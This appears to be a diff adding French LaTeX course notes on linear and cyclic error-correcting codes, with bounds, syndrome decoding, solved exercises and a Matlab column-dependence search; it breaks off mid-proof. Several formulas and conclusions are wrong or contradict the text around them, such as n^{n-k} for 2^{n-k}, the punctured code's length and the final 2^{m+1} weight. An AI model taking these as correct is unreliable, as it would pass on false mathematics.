\rbrace (n-k)\ \rm{lignes} $$ +\end{mydem} + +\begin{remarque} + $d \ge 3 \Longleftrightarrow$ $H$ ne contient que des colonnes distinctes et non nulles. +\end{remarque} + +\textbf{Exercice:} Montrer que $\forall m \ge 0$, les codes de Hamming $\mathcal{H}_m$ sont de distance minimale 3. + +\begin{myth}[borne de Gilbert-Varshamov] + + Il existe un code linéaire de longueur $n$ dont une matrice de parité a $m$ lignes linéairement indépendantes et dont la distance minimale est au moins $d$ si: + $$ 1 + { n-1 \choose 1 } + + { n-1 \choose 2 } + + \ldots + { n-1 \choose d-2 } < 2^m $$ + +\end{myth} + +\begin{mydef}[distance de Gilbert-Varshamov] + La distance de \textsc{Gilbert-Varshamov}, à $n$, $k$ fixés est le plus grand entier $d_{n,k}$ tel que: + $$ \sum_{i=0}^{d_{n,k}-1} { n \choose i } \le n^{n-k} $$ +\end{mydef} + +% TODO n ou n-1 ??? + +\begin{remarque} +\begin{itemize} + \item Par définition, $$\sum_{i=0}^{d_{n,k}} {n \choose i} > n^{n-k}$$ + \item On sait (admis): + $$\forall \delta \le n, \log_2 \left[ \sum_{i=0}^\delta {n \choose i} \right] \mathop{\sim}\limits_{n \rightarrow \infty} h_2\left(\frac{\delta}{h}\right) $$ +\end{itemize} +\end{remarque} + +\begin{mydef} + Étant donnée une suite $(\mathcal{C}_n)_{n \ge 1}$ de codes linéaires telle que + $\mathcal{C}_n$ est de longueur $n$ et de rendement $R < 1$ (fixé). + + On dit que la famille $(\mathcal{C}_n)_{n \ge 1}$ est asymptotiquement bonne si + $$ \lim_{n \rightarrow +\infty} \frac{d(\mathcal{C})}{n} > 0 $$ + où $d(\mathcal{C})$ distance minimale de $\mathcal{C}_n$. +\end{mydef} + +\begin{mycor} + D'après la borne de \textsc{Gilbert-Varshamov}, il existe des familles asymptotiquement bonnes. +\end{mycor} + +\subsubsection{Décodage d'un code linéaire sur CBS: décodage par syndrome} + +Soit $\mathcal{C}$ un code, $H$ une matrice de parité et $r$ le vecteur reçu. +$$ H.r^\top +\begin{cases} + = 0 & \text{si $r$ ne comporte pas d'erreur}\\ + \ne 0 & \text{si $r$ comporte au moins une erreur} +\end{cases} +$$ + +\begin{remarque} + Si $r = c \oplus e$, où $e$ est un vecteur erreur et $c$ un mot de code, alors $H.r^\top = H.e^\top$. +\end{remarque} + +\begin{mydef}[Syndrome] +$\forall y \in \FFn{n}$, $H.y^\top$ s'appelle le syndrome de $y$. Il est noté $\syn{y}$. +\end{mydef} + +\begin{mydef}[Coset] +$\forall a \in \FFn{n}$ on appelle le coset de $a$ l'ensemble +$$a+\C \stackrel{def}{=} \{ a +c / c \in \C \}$$ + +$\forall (a,b) \in \FFn{n}$, on dit que $a \sim b$ ssi +$$(a - b) \in \C \Leftrightarrow \syn{a} = \syn{b}$$ +\end{mydef} + +\begin{mydef}[Coset leader] + Une coset leader pour un coset $a + \C$ ($a \in \FFn{n}$) est un élément $z \in a + \C$ de poids minimal (dans $a + \C$). +\end{mydef} + + +\begin{remarque} + $\sim$ est la relation d'équivalence où les classes d'équivalence sont les cosets. +\end{remarque} + +\begin{mylemma} + Si $\C$ est de distance minimale $d$ alors il existe au plus un coset leader de poids $ \le \lfloor \frac{d-1}{2} \rfloor$. +\end{mylemma} + +\begin{mydef}[Décodage par syndrome] + Le principe est le suivant: $\forall r \in \FFn{n}$ reçu, on trouve un vecteur $f$ de poids minimal t.q. $\syn{r} = \syn{f}$. On décode $r$ en retournant $(r-f)$. + + L'algorithme de décodage comporte une phase d'initialisation dans laquelle on construit une table de tous les syndromes $p \in \FFn{n-k}$. + Puis on cherche un vecteur $f \in \FFn{n}$ de poids minimal pour chaque syndrome $p$. + + \begin{center} + \begin{tabular}{|c|c|c|} + \cline{1-1}\cline{3-3} $s_1$ & & $f_1$ \\ \cline{1-1}\cline{3-3} + $\vdots$ & $ \longrightarrow $ & $\vdots$ \\ + \cline{1-1}\cline{3-3} $s_n$ & & $f_n$ \\ \cline{1-1}\cline{3-3} + \end{tabular} +\end{center} + + Le décodage s'effectue en recherchant l'erreur $f$ correspondant au syndrome $s$ du mot $r \in \FFn{n}$ reçu. + \begin{enumerate} + \item $s \leftarrow H.r^\top$ + \item $f \leftarrow \text{erreur $p$ dans le tableau de syndromes}$ + \item retourner $(f-p)$ + \end{enumerate} +\end{mydef} + +\begin{exemple} + Soit $\C$ le code de matrice de parité $H$ suivante + $$ H = \begin{pmatrix} +1 & 1 & 1 & 1 & 0 & 0 \\ +1 & 0 & 1 & 0 & 1 & 0 \\ +1 & 1 & 0 & 0 & 0 & 1 \\ +\end{pmatrix} +\left\{\begin{array}{l}n=6\\k=0\end{array}\right.$$ + +On peut alors construire le tableau $T$ de correspondance entre les syndromes et les vecteurs erreur. +\begin{center} +\begin{tabular}{|c|c|} + \hline Syndrome & Erreur \\ \hline + 000 & 000000 \\ + 111 & 100000 \\ + 101 & 010000 \\ + 110 & 001000 \\ + 100 & 000100 \\ + 010 & 000010 \\ + 001 & 000001\\ + 011 & 000011\\ + & ou 100100 \\ +\hline +\end{tabular} +\end{center} +Dans ce cas, on remarque que les 7 premières lignes sont forcément uniques car les vecteurs erreur sont de poids $ \le \lfloor \frac{d-1}{2} \rfloor = 1$. +\end{exemple} + +\begin{remarque} + \begin{itemize} + \item le décodage par syndrome effectue un décodage à maximum de vraisemblance, + \item le tableau $T$ est de taille $2^{n-k} \times n$ ce qui signifie que cette méthode est inutilisable sauf si $n-k$ est petit. +\end{itemize} +\end{remarque} + + +\begin{myth}[Borne de Singleton] + Soit $\C(n,k,d)$ alors $d \le n - k + 1$. +\end{myth} + +\begin{myproof} + Je choisis $(k-1)$ positions quelconques parmis les $n$ possibles. On projette les mots du code sur ces $(k-1)$ positions. + + Il existe au plus $2^{k-1}$ projections possibles. Or le code $\C$ admet $2^k$ mots de codes +$\Rightarrow$ il existe $c_1$ et $c_2 \in \C$ qui coïncident sur ces $(k-1)$ positions. + +Donc le poids de $(c_1 - c_2) \le n - (k-1)$, d'où +$$ d \le wt(c_1 - c_2) \le n - k + 1 $$ +\end{myproof} + +\begin{mydef} + Un code $\C$ est dit \flqq Maximum Distance Séparable\frqq (MDS) si sa distance minimale $d$ est égale à la borne de Singleton. +\end{mydef} + +\begin{myth}[borne de Hamming] + Si $\C(n,k)$ est t-correcteur alors +$$ \sum_{j=0}^t {n \choose j} \le 2^{n-k} $$ +\end{myth} + +\section{Exercices} +\subsection*{Exercice 1} +$$ \C = \left\{ \begin{array}{l} + (000\ 000), (001\ 111), (110\ 011), \\ + (111\ 100), (101\ 010) +\end{array}\right\}$$ + +\subsubsection*{Questions} +\begin{enumerate} + \item $\C$ est-il linéaire ? + \item Sinon, ajouter les vecteurs pour que le code soit linéaire, puis déterminer une base du code. +\end{enumerate} + +\subsubsection*{Corrigé} +$\C$ n'est pas linéaire car, par exemple: +$$ (111\ 100) \oplus (101\ 010) = (010\ 110) \not\in \C $$ + +On peut construire un code linéaire $\C'$ à partir de $\C$. Pour cela, il suffit d'ajouter toutes les combinaisons linéaires de vecteurs de $\C$ et $\C'$ à $\C'$. +$$ \C' = \C \cup \{ (100\ 101), (011\ 001), (010\ 110)\} $$ + +Si un code est linéaire, son nombre d'éléments doit être une puissance de deux. Pour $\C'$ on a $Card(\C') = 8 = 2^3$, d'où $dim(\C') = 3$. + +On peut trouver une base de $\C'$. Elle doit être génératrice et libre, c'est à dire que tous ses éléments doivent être linéairement indépendants et que tout mot de code doit pouvoir être généré à partir d'une combinaison linéaire des vecteurs de la base. + +$$ G = \begin{pmatrix} + 1 & 0 & 0 & 1 & 0 & 1\\ + 0 & 1 & 0 & 1 & 1 & 0\\ + 0 & 0 & 1 & 1 & 1 & 1 +\end{pmatrix} $$ + +$G$ est sous forme systématique (on reconnait la matrice identité dans ses trois premières colonnes). + +\subsection*{Exercice 2} +Soit $\C$ le code généré par $G$. +$$ G = +\begin{bmatrix} + 1 & 0 & 1 & 0 & 1 & 0 \\ + 1 & 1 & 1 & 1 & 0 & 0 \\ + 1 & 1 & 0 & 0 & 1 & 1 +\end{bmatrix}$$ + +\subsubsection*{Questions} +\begin{enumerate} + \item Construire une matrice génératrice sous forme systématique + \item Déterminer une matrice de parité + \item Est-ce que $(111\ 111)$ appartient à $\C^\bot$ ? +\end{enumerate} + +\subsubsection*{Corrigé} +Pour que G soit systématique, on doit pouvoir reconnaitre la matrice identité dans ses trois premières colonnes. +On applique la méthode du pivot de Gauss et on obtient +$$G' = +\begin{bmatrix} + 1 & 0 & 0 & 1 & 0 & 1 \\ + 0 & 1 & 0 & 1 & 1 & 0 \\ + 0 & 0 & 1 & 1 & 1 & 1 +\end{bmatrix}$$ + +La matrice de parité $H$ de $\C$ se calcule à partir de $G' = (I_k \mid M)$ de la façon suivante +\begin{eqnarray*} +H & = & (M^\top \mid I_{n-k})\\ + & = & \begin{bmatrix} +1 & 1 & 1 & 1 & 0 & 0 \\ +0 & 1 & 1 & 0 & 1 & 0 \\ +1 & 0 & 1 & 0 & 0 & 1 +\end{bmatrix} +\end{eqnarray*} + +Un vecteur appartient au dual d'un code ssi il est orthogonal à la matrice génératrice de ce code. +\begin{eqnarray*} + \mathbb{1}_6 \in \C^\bot & \Longleftrightarrow & \mathbb{1}_6 \bot (\C^\bot)^\bot = \C \\ + & \Longleftrightarrow & G \times \mathbb{1}_6^\top = 0 +\end{eqnarray*} + +Dans notre cas, +$$ G \times \mathbb{1}_6^\top = \begin{pmatrix} 1 \\ 1 \\ 1 \end{pmatrix} $$ + +Donc $\mathbb{1}_6$ n'appartient pas à $\C^\bot$. + +\subsection*{Exercice 3} +$$ G = +\left[ +\begin{array}{cccccccccccc} +1 & 0 & 0 & 0 & 1 & 1 & 0 & 0 & 1 & 1 & 1 & 0 \\ +0 & 1 & 0 & 0 & 0 & 1 & 1 & 0 & 0 & 1 & 1 & 1 \\ +0 & 0 & 1 & 0 & 0 & 0 & 1 & 1 & 1 & 0 & 1 & 1 \\ +0 & 0 & 0 & 1 & 1 & 0 & 0 & 1 & 1 & 1 & 0 & 1 +\end{array} +\right] +$$ + +\subsubsection*{Questions} +\begin{enumerate} + \item déterminer la dimension et la distance minimale du code et du dual. + \item combien d'erreurs peut corriger ce code ? +\end{enumerate} + +\subsubsection*{Corrigé} +On sait que la dimension d'un code est le cardinal de sa base. On reconnait dans la matrice $G$ la matrice identité, par conséquent les quatres vecteur lignes de $G$ forment une base de $\C$ et la dimension de $\C$ est 4. + +On sait que $\C$ admet un mot de code de poids $j$ ssi il existe $j$ colonnes de $H$ linéairement dépendantes et on sait aussi que la distance minimale d'un code est le poids du mot le plus léger, hormis 0. Il suffit donc de vérifier, dans l'ordre, que la matrice de parité a: +\begin{enumerate} + \item pas de colonne nulle, + \item pas deux colonnes identiques, + \item pas trois colonnes linéairement dépendantes, + \item $\ldots$ + \item pas $(i - 1)$ colonnes linéairement dépendantes, + \item $i$ colonnes linéairement dépendantes. +\end{enumerate} + +Et on en déduit que la distance minimale est $i$. + +La matrice de parité $H$ de $\C$ est: +$$ H = \left[ +\begin{array}{cccccccccccc} + 1 & 0 & 0 & 1 & 1 & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\ + 1 & 1 & 0 & 0 & 0 & 1 & 0 & 0 & 0 & 0 & 0 & 0 \\ + 0 & 1 & 1 & 0 & 0 & 0 & 1 & 0 & 0 & 0 & 0 & 0 \\ + 0 & 0 & 1 & 1 & 0 & 0 & 0 & 1 & 0 & 0 & 0 & 0 \\ + 1 & 0 & 1 & 1 & 0 & 0 & 0 & 0 & 1 & 0 & 0 & 0 \\ + 1 & 1 & 0 & 1 & 0 & 0 & 0 & 0 & 0 & 1 & 0 & 0 \\ + 1 & 1 & 1 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 1 & 0 \\ + 0 & 1 & 1 & 1 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 1 \\ +\end{array} +\right]$$ + +On remarque aisément que $H$ n'a ni colonne nulle, ni colonne identique. +Il est possible de trouver les combinaisons linéaires de colonnes +en utilisant un logiciel de calcul matriciel (p.ex. Matlab). + +\begin{verbatim} +H = [1 0 0 1 1 0 0 0 0 0 0 0; + 1 1 0 0 0 1 0 0 0 0 0 0; + 0 1 1 0 0 0 1 0 0 0 0 0; + 0 0 1 1 0 0 0 1 0 0 0 0; + 1 0 1 1 0 0 0 0 1 0 0 0; + 1 1 0 1 0 0 0 0 0 1 0 0; + 1 1 1 0 0 0 0 0 0 0 1 0; + 0 1 1 1 0 0 0 0 0 0 0 1]; + +m = size(H, 2); +dispo = [1 : m]; + +for n = [2 : m]; + comb = combine(dispo, n); + for i = [1 : size(comb, 1)]; + if test_lin(H, comb(i, :)); + disp('Combinaison linéaire trouvée !'); + comb(i, :) + return + end + end +end + +disp('Pas de combinaison linéaire trouvée.'); + + +function [comb] = combine(v, n) +%COMBINE(v, n) Génère toute les combinaisons +% de "n" élément de "v" +comb = combine_r(v, [], n); + +function [comb] = combine_r(dispo, pris, niveau) +%COMBINE_R(vt,va,n) Fonction récursive + +if niveau == 0 + comb = pris; +else + comb = []; + sp = size(pris, 2); + while size(dispo, 2) ~= 0; + pris = [pris dispo(1)]; + dispo = dispo(2 : size(dispo, 2)); + comb = [comb + combine_r(dispo, pris, niveau - 1)]; + pris = pris(1:sp); + end +end + +function [r] = test_lin(H, indices) +%TEST_LIN(H, indices) Test s'il y existe une +% combinaison linéaires des colonnes de la +% matrice H dont les indices sont passés +% en paramètre. + +tmp = zeros(size(H, 1), 1); +for i = [1 : size(indices, 2)]; + tmp = xor(H(:, indices(i)), tmp); +end + +if any(tmp) + r = 0; +else + r = 1; +end +\end{verbatim} + +L'exécution de ce programme nous montre qu'il n'existe pas de combinaisons linéaires de moins de 6 colonnes de $H$ +et qu'il en existe une de $6$ colonnes, donc la distance minimale de $\C$ est 6. + +On remarque aisément la matrice identité dans la matrice de parité $H$, ce qui signifie que les 8 vecteurs lignes de $H$ +sont linéairement indépendants et qu'ils forment une base de $\C^\bot$. On a alors +$$ dim(\C^\bot) = 8 $$ + +La distance minimale de $\C^\bot$ vaut 3 car $G$ ne comporte pas de colonne nulle, ni de colonne identique mais il est +possible de trouver une combinaison linéaire de 3 colonnes de $G$ : $(1100\ 01000000) \in \C^\bot$. On aurait cependant pu +utiliser le programme précédent. + +Pour conclure: pour trouver la distance minimale d'un code, +\begin{itemize} + \item on peut essayer de trouver des combinaisons linéaires de colonnes dans sa matrice de parité; + \item on peut essayer de trouver des combinaisons linéaires de lignes dans sa matrice génératrice. +\end{itemize} + +\subsection*{Exercice 4} +Soit $\C$ le code dont $H$ est une matrice de parité ($h_i$ est une colonne de $H$). +$$H = [h_1 \mid h_2 \mid h_3 \mid h_4 \mid h_5 ]$$ + +\subsubsection*{Questions} +\begin{enumerate} + \item Quel est le syndrome d'une erreur en position $j$ ? + \item Exprimer $H \times (10011)^\top$. + \item Quelle condition doivent vérifier les colonnes de $H$ pour que $(11111)$ soit un mot de code ? +\end{enumerate} + +\subsubsection*{Corrigé} +\begin{enumerate} + \item Le syndrome est $h_j$. + \item $H \times (10011)^\top = h_1 + h_4 + h_5$. + \item $H \times (\text{Mot de code})^\top = 0$, c'est à dire + $$h_1 + h_2 + h_3 + h_4 + h_5 = 0$$ +\end{enumerate} + +\subsection*{Exercice 5} +Soit $\C$ un code de distance minimale $d$ et $H$ une matrice de parité. + +\subsubsection*{Questions} +\begin{enumerate} + \item Montrer qu'il existe $d$ colonnes linéairement dépendantes. + \item Montrer qu'il n'existe pas $j$ colonnes, $1 \le j < d$, linéairement dépendantes. + \item Que représente $d$ ? +\end{enumerate} + +\subsubsection*{Corrigé} + +\begin{enumerate} + \item Si $wt(c) = d$ alors $d$ colonnes de $H$ forment une somme nulle. + \item ${\rm dim}(\C) = d$ + \begin{itemize} + \item[$\Leftrightarrow$] Il n'existe pas de mot de code non-nul de poids $w < d$.\\ + \item[$\Leftrightarrow$] Il n'existe pas $w \le d - 1$ colonnes dont la somme fasse~0. + \end{itemize} + \item $d-1$ est le maximum de colonnes linéairement indépendantes. +\end{enumerate} +\textbf{Remarque:} on retrouve la borne de Singleton $d-1 \le n-k$. +$$ H = \left.\begin{bmatrix} \longleftarrow & n & \longrightarrow \\ & & \\ & & \end{bmatrix}\right\} n-k $$ +\begin{itemize} +\item ${\rm Rang}(H) = n-k$ +\item Tout ensemble de colonnes linéairement indépendantes est de cardinal inférieur ou égal au ${\rm rang}(H)$. + D'où $$ w \le n - k $$ + En particulier, $d-1 \le n-k$ +\end{itemize} + + +\subsection*{Exercice 6} +En utilisant la borne de \textsc{Gilbert-Varshamov}, déterminer $k$ tel qu'il existe un code linéaire de paramètre $[15, k, 5]$. + +\subsubsection*{Corrigé} + +On a $n=15$ et $d = 5$, on cherche $k$. D'après la borne de \textsc{Gilbert-Varshamov}, on en déduit que~: +$$ 1 + {14 \choose 1} + {14 \choose 2} + {14 \choose 3} \le 2^{15 - k} $$ +$$ 2^k \le \frac{2^15}{470} $$ +$$ k \le 15 - \log_2(470) $$ + +\subsection*{Exercice 7} +Soit $H$ une matrice de parité de $\C[n,k]$. On construit un nouveau code $\C_{ext}$ de longueur $(n+1)$ par +$$C_n = C_0 + \ldots + C_{n-1}$$ +où $(C_0, \ldots, C_{n-1}) \in \C$ et $(C_0, \ldots, C_{n}) \in \C_{ext}$ + +\subsubsection*{Questions} +\begin{enumerate} + \item Que vaut la dimension et la distance minimale de $\C_{ext}$ ? +\end{enumerate} + +\subsubsection*{Corrigé} + +La dimension ne change pas. + +Soit $c\in\C$ et notons $c^*$ le mot de code de $\C_{ext}$ obtenu à partir de $\C$. + +$$ c^* = (c_0, \ldots, c_n) $$ +avec $c_n = c_0 + \ldots + c_{n-1}$ où $c = (c_0, \ldots, c_{n-1})$. + +On a toujours + +$$ wt(c^*) = \begin{cases} + wt(c) & \text{si $wt(c)$ est pair}\\ + wt(c)+1 & \text{sinon} + \end{cases} $$ + +Si $c_1 \in \C$ et $c_2 \in \C$ tels que $wt(c_1) \le wt(c_2)$ alors $wt(c_1^*) \le wt(c_2^*)$. + +En particulier +$$ {\rm dim}(\C^*) = \begin{cases} + {\rm dim}(\C) & \text{si ${\rm dim}(\C)$ est pair}\\ + {\rm dim}(\C)+1 & \text{sinon} + \end{cases} $$ + +\subsection*{Exercice 8} +Soit $\code{H}_m$ le code de Hamming d'ordre $m$. + +\begin{mydef}[Equivalence de codes] + Soient $\C$ et $\C'$ deux codes linéaire de longueur $n$. On dit que $\C \sim \C'$ ssi il existe une permutation de $\{1, \ldots, n\}$ telle que + $$ \C' = \sigma \times \C $$ + où + $$ \sigma \times \C = \{ (x_{\sigma^{-1}(1)}, \ldots, x_{\sigma^{-1}(n)}) / x \in \C \} $$ + + Exemples: + $$ +\C = \begin{pmatrix} + 1 & 0 & 1 & 1 & 1 \\ + 0 & 1 & 1 & 1 & 0 \\ + 0 & 0 & 1 & 1 & 0 +\end{pmatrix} \quad +\C' = \begin{pmatrix} + 1 & 0 & 1 & 1 & 1 \\ + 1 & 1 & 0 & 1 & 0 \\ + 1 & 0 & 0 & 1 & 0 +\end{pmatrix}$$ + + Si $\C \sim \C'$ alors $\C$ et $\C'$ ont même dimension et même distance minimale. +\end{mydef} + +\subsubsection*{Questions} +\begin{enumerate} + \item Quelle est la dimension de $\code{H}_m^\bot$ ? + \item Montrer que pour tout $x,y \in \code{H}_m^\bot$, $d(x,y)$ est une constante (quand $x \ne y$). Que vaut cette constante ? + \item Quelle est la distance de $\code{H}_m$ ? +\end{enumerate} + +\subsubsection*{Corrigé} +\begin{enumerate} + \item On sait que $\dimc{\code{H}_m} = 2^m - 1 - m$ et que $\dimc{\code{H}_m} + \dimc{\code{H}_m^\bot} = 2^m - 1$. On a alors + $$ \dimc{\code{H}_m^\bot} = m $$ + + \item A équivalence près, on peut supposer que $H_m$ est de la forme suivante: + $$ H_m = \left. +\begin{bmatrix} + 0 & \ldots & 0 & 1 & \ldots & 1 \\ + & & & 0 & & \\ + & H' = H_{m-1} & & \vdots & H' = H_{m-1} & & \\ + & & & 0 & & +\end{bmatrix}\right\}m$$ + Or $H'$ est (à équivalence près) la matrice de parité de $H_{m-1}$. + + Par définition, $H_m$ est la matrice génératrice de $H_m^\bot$. D'autre part, + la distance entre deux mots $x,y$ d'un code linéaire à poids de $(x-y)$ qui est un mot de code. + % En clair ??? + + Il suffit de montrer que le poids de tout mot de code non nul de $H_m^\bot$ est une constante. + \begin{itemize} + \item $m=1$ $$H_1=[1], w_1=1$$ + \item $m=2$ $$H_2=\begin{bmatrix} 0 & 1 & 1 \\ 1 & 0 & 1 \end{bmatrix}, w_2=2$$ + \item $m=3$ $$H_3= + \begin{bmatrix} + 0 & 0 & 0 & 1 & 1 & 1 & 1 \\ + 0 & 1 & 1 & 0 & 0 & 1 & 1 \\ + 1 & 0 & 1 & 0 & 1 & 0 & 1 + \end{bmatrix}, w_3=4=2^2$$ + \end{itemize} + On veut montrer que $w_m=2^{m-1}$. + + Montrons par récurrence sur $m \le 1$ que le poids de tout mot de code de $H_m^\bot$ est $w_m=2^{m-1}$ $(\mathcal{P}(m))$. + \begin{enumerate} + \item Vérification. $m=1$, la propriété est vérifiée. + \item On suppose que $\mathcal{P}(m)$ est vraie pour un $m \le 1$. + + Montrons que $\mathcal{P}(m+1)$ est vraie. + $$ \forall c \in H_{m+1}^\bot, \exists x \in \FFn{m+1} \text{ tq. } c = x \times H_{m+1} $$ + + Il y a alors trois cas: + \begin{enumerate} + \item $x=(1\ 0\ \ldots\ 0)$ + \item $x=(0\ x')$ où $x \in \FFn{m}$ + \item $x=(1\ x')$ où $x \in \FFn{m}$ + \end{enumerate} + +$$ H_{m+1} = \left. +\begin{bmatrix} + 0 & \ldots & 0 & 1 & \ldots & 1 \\ + & & & 0 & & \\ + & H_m & & \vdots & H_m & & \\ + & & & 0 & & +\end{bmatrix}\right\}m+1$$ + + \begin{description} + \item[Cas i] le poids de $c$ est $2^m$ + \item[Cas ii] $c$ est de la forme $(c'\ 0\ c')$ où $c' \in H_m^\bot$. + Par hypothèse de récurrence, $c'$ est de poids $2^{m-1}$, + donc $c$ est de poids $2^{m-1} + 2^{m-1} = 2^m$. + \item[Cas iii] $c$ est de la forme $(c'\ 1\ y)$ avec + $$y = (1\ \ldots\ 1) \oplus c' \text{ où } c' \in H_m^\bot$$ + donc le poids de $c$ est + $$2^{m-1} + 1 + (2^m - 1 - 2^{m-1}) = 2^m$$ + \end{description} + Donc $\mathcal{P}(m+1)$ est vraie. + \item Conclusion: $\mathcal{P}(m)$ est vraie pour tout $m > 1$. + \end{enumerate} + + \item $w_m = 2^{m+1} \Rightarrow d_{min}(H_m^\bot)=2^{m+1}$: c'est un code équi-distant~! +\end{enumerate} + +\subsection*{Exercice 9} +Soit $G$ la matrice génératrice d'un code $\C[n,k,d]$ avec $d \ge 2$ +et soit $G^*$ la matrice obtenue en supprimant une colonne de $G$, +et notons $\C^*[n^*, k^*, d^*]$ le code de matrice génératrice $G^*$. + +\subsubsection*{Questions} +\begin{enumerate} + \item Que vaut $n^*$, $k^*$, $d^*$ ? + \item Au lieu de supprimer un colonne, on force un bit d'information à 0. + Quels sont les paramètres de ce nouveau code $\C^\#$~? +\end{enumerate} + +\subsubsection*{Corrigé} + +\begin{enumerate} + \item A équivalence près, + $$ G = \left[ + \begin{array}{ccc|c} + 1 & & 0 & \\ + & \ddots & & \quad A \quad \\ + 0 & & 1 & + \end{array}\right]$$ + \begin{itemize} + \item $n^* = n$ + \item $k^* = k$ car $d \ge 2$, c'est à dire qu'en supprimant une colonne de la matrice identité, + il reste toujours une colonne ayant un 1 sur la ligne \flqq~correspondant au 1 supprimé~\frqq~pour + remplacer cette colonne. On peut appliquer le pivot de Gauss pour éliminer les 1 restants + sur la colonne. + \item $d^* = d$ ou $d - 1$. + + Soit $\mathcal{M}$ l'ensemble des mots de code de poids minimal de $\C$. + \begin{itemize} + \item tout $c \in \mathcal{M}$ a un 0 à la position supprimée $$d^* = d$$ + \item $\exists c \in \mathcal{M}$ qui a un 1 à la position supprimée $$d^* = d-1$$ + \end{itemize} + \end{itemize} + $\C^*$ est le code poinçonné. + + \item On cherche les paramètres $n^\#$, $k^\#$ et $d^\#$ de $\C^\#$. + \begin{itemize} + \item $n^\# = n$ + \item $k^\# = k-1$ + \item $d^\# \ge d$ car l'ensemble $\C^*$ est un sous-ensemble de $\C$ + \end{itemize} +\end{enumerate} + +\section{Codes cycliques} +\begin{mydef}[Code cyclique] + Un code cyclique $\C$ est un code qui a les propriétés suivantes. + \begin{enumerate} + \item $\C$ est linéaire + \item Si $(c_0, \ldots, c_{n-1}) \in \C$ où $n$ est la longueur de $\C$, + alors $(c_{n-1}, c_0, \ldots, c_{n-2}) \in \C$ + \end{enumerate} +\end{mydef} + +\begin{exemple} + $\C = \{ (0,0,0), (1,0,1), (0,1,1), (1,1,0) \}$ est un code cyclique. +\end{exemple} + +\begin{remarque} +\begin{enumerate} + \item $\C$ est stable par $i$ décalages à droite et à gauche pour tout $i$. + \item A chaque $(c_0, \ldots, c_{n-1})$ on associe un polynôme + $$ c(x) = c_0 + c_1x + \ldots + c_{n-1}x^{n-1}$$ + où $x$ est une variable muette. Alors, + \begin{eqnarray*} + x.c(x) & = & c_0x + \ldots + c_{n-1}x^n \\ + & = & c_{n-1} + c_0x + \ldots + c_{n-2}x^{n-1} + c_{n-1}(x^n-1) \\ + & = & c'(x) + (x^n - 1)c_{n-1} \\ + & \equiv & c'(x)\mod (x^n - 1) + \end{eqnarray*} + où $c'(x) = c_{n-1} + c_0x + \ldots + c_{n-2}x^{n-1}$. +\end{enumerate} +\end{remarque} + +\begin{exemple} + \begin{eqnarray*} + \C & = & \{ (0,0,0,0), (1,0,1,0), (0,1,0,1), (1,1,1,1) \} \\ + & = & \{ 0, 1+x^2, x+x^3, 1+x+x^2+x^3 \} + \end{eqnarray*} +\end{exemple} + +\subsection{Prérequis mathémathiques} +\subsubsection{Compatibilité de l'addition et la multiplication avec la congruence} + +Si, +\begin{eqnarray*} + P_1(x) & \equiv & Q_1(x) \mod (x^n - 1) \\ + P_2(x) & \equiv & Q_2(x) \mod (x^n - 1) +\end{eqnarray*} + +alors, +\begin{eqnarray*} +P_1(x) + P_2(x) & \equiv & Q_1(x) + Q_2(x) \mod (x^n-1) \\ +P_1(x) \times P_2(x) & \equiv & Q_1(x) \times Q_2(x) \mod (x^n-1) +\end{eqnarray*} + +\begin{remarque} + $$ x^n-1 \equiv 0 \mod (x^n-1) \Leftrightarrow x^n \equiv 1 \mod (x^n-1) $$ +\end{remarque} + +\begin{mydef}[Classe de congruence] + À tout polynôme $P(x)$, on associe l'ensemble $\overline{P(x)}$ des polynômes congrus à $P(x) \mod (x^n - 1)$. + $\overline{P(x)}$ s'appelle la classe de congruence de $P(x)$. +\end{mydef} + +\begin{proprietes} + La relation de congruence est une relation d'équivalence c'est à dire qu'elle est: + + \begin{itemize} + \item réflexive + \item symétrique + \item transitive + \end{itemize} + +\end{proprietes} + +\begin{note}{Note} + L'ensemble des polynômes à coefficients dans $\FF$ noté $\FF[x]$ est partitionné en classes de congruence. +\end{note} + +\begin{mydef}[Représentant de classe] + Un élément d'une classe de congruence est un représentant de cette classe. +\end{mydef} + +\begin{remarque} + Il existe une infinité de représentants mais il est possible de caractériser un unique représentant. + En effet, chaque classe admet un unique polynôme de degré minimal. +\end{remarque} + +\subsubsection{Division euclidienne (sur $\FF[x]$)} + +Soient $A(x)$ et $B(x) \ne 0$ qui appartiennent à $\FF[x]$. Il existe $R(x)$ et $Q(x)$ dans $\FF[x]$ tels que + +$$ \left\{ \begin{array}{l} +A(x) = Q(x)B(x)+R(x) \\ +\dg{R} < \dg{B} +\end{array} \right. $$ + +Ces polynômes $R(x)$ et $Q(x)$ sont alors \textbf{uniques}. + +\begin{proprietes} + Pour tout polynôme $P(x) \in \FF[x]$, + $$ \overline{P(x)} \equiv \overline{R(x)} $$ + où $R(x)$ est est le reste de la division euclidienne de $P(x)$ par $(x^n - 1)$. + + De plus, $R(x)$ est le polynôme de plus petit degré dans $\overline{P(x)}$. +\end{proprietes} + +\begin{mydef} + L'ensemble des classes de congruence modulo $(x^n - 1)$ noté $\FF[x]/(x^n-1)$ est alors: + $$ \FF[x] / (x^n-1) = \left\{ \overline{R(x)} / R(x) \in \FF[x] \text{ et }\dg{R} \le n-1 \right\} $$ +\end{mydef} + +\begin{proprietes} +$(\FF[x]/(x^n - 1), +, \times)$ est un anneau commutatif. +\end{proprietes} + +\begin{remarque} + \begin{itemize} + \item Il existe des éléments inversibles, mais pas tous (Bézout: $P(x)Q(x) = 1 + R(x)(x^n-1)$). + \item Quand il n'y a pas d'ambiguité, on identifie une classe de congruence avec ses représentants. + \end{itemize} +\end{remarque} + +\subsection{Identification entre $\FF$ et $\FF[x]/(x^n-1)$} +À chaque $(c_0, c_1, \ldots, c_{n-1}) \in \FFn{n}$, on associe le polynôme +$C(x) = c_0 + c_1x + \ldots + c_{n-1}x^{n-1}$. + +\begin{remarque} + Par rapport aux codes linéaires, on a gagné une opération (la multiplication). +\end{remarque} + +\begin{myth} + Un code $\C$ de $\FFn{n} \simeq \FF[x] / (x^n-1)$ est cyclique ssi il satisfait les conditions suivantes: + \begin{enumerate} + \item si $a(x) \in \C$ et $b(x) \in \C$ alors + $$ a(x) + b(x) \in \C $$ + \item si $a(x) \in \C$ alors $\forall b(x) \in \FF[x]/(x^n-1)$ + $$ b(x).a(x) \in \C $$ + \end{enumerate} +\end{myth} + +\begin{myproof} + $\C$ est un code cyclique, donc + \begin{enumerate} + \item est vraie car $\C$ est linéaire. + \item Si on montre que $x.a(x) \in \C$ quand $a(x) \in \C$ alors (2) est 